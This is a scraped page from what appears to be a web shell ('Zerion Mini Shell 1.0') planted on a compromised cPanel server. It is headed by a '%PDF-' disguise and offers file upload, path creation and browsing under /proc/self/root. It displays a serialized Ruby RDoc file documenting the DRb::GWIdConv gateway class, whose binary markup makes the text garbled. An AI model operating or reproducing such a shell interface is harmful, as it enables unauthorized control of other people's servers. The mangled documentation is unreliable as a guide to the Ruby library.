%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/DRb/GWIdConv/
Upload File :
Create Path :
Current File : //proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/DRb/GWIdConv/cdesc-GWIdConv.ri

U:RDoc::NormalClass[iI"
GWIdConv:ETI"DRb::GWIdConv;TI"DRb::DRbIdConv;To:RDoc::Markup::Document:@parts[o;;[
o:RDoc::Markup::Paragraph;[I"NGateway id conversion forms a gateway between different DRb protocols or ;TI"networks.;To:RDoc::Markup::BlankLineo;	;[	I"LThe gateway needs to install this id conversion and create servers for ;TI"Neach of the protocols or networks it will be a gateway between.  It then ;TI"Lneeds to create a server that attaches to each of these networks.  For ;TI"
example:;T@o:RDoc::Markup::Verbatim;[I"require 'drb/drb'
;TI"require 'drb/unix'
;TI"require 'drb/gw'
;TI"
;TI"+DRb.install_id_conv DRb::GWIdConv.new
;TI"gw = DRb::GW.new
;TI"<s1 = DRb::DRbServer.new 'drbunix:/path/to/gateway', gw
;TI"9s2 = DRb::DRbServer.new 'druby://example:10000', gw
;TI"
;TI"s1.thread.join
;TI"s2.thread.join
;T:@format0o;	;[I"FEach client must register services with the gateway, for example:;T@o;;[	I"=DRb.start_service 'drbunix:', nil # an anonymous server
;TI"8gw = DRbObject.new nil, 'drbunix:/path/to/gateway'
;TI"gw[:unix] = some_service
;TI"DRb.thread.join;T;0:
@fileI"lib/drb/gw.rb;T:0@omit_headings_from_table_of_contents_below0;
0;0[[[[[I"
class;T[[:public[[:protected[[:private[[I"
instance;T[[;[[;[[;[[[U:RDoc::Context::Section[i0o;;[;
0;0[@/I"DRb;FcRDoc::NormalModule

Zerion Mini Shell 1.0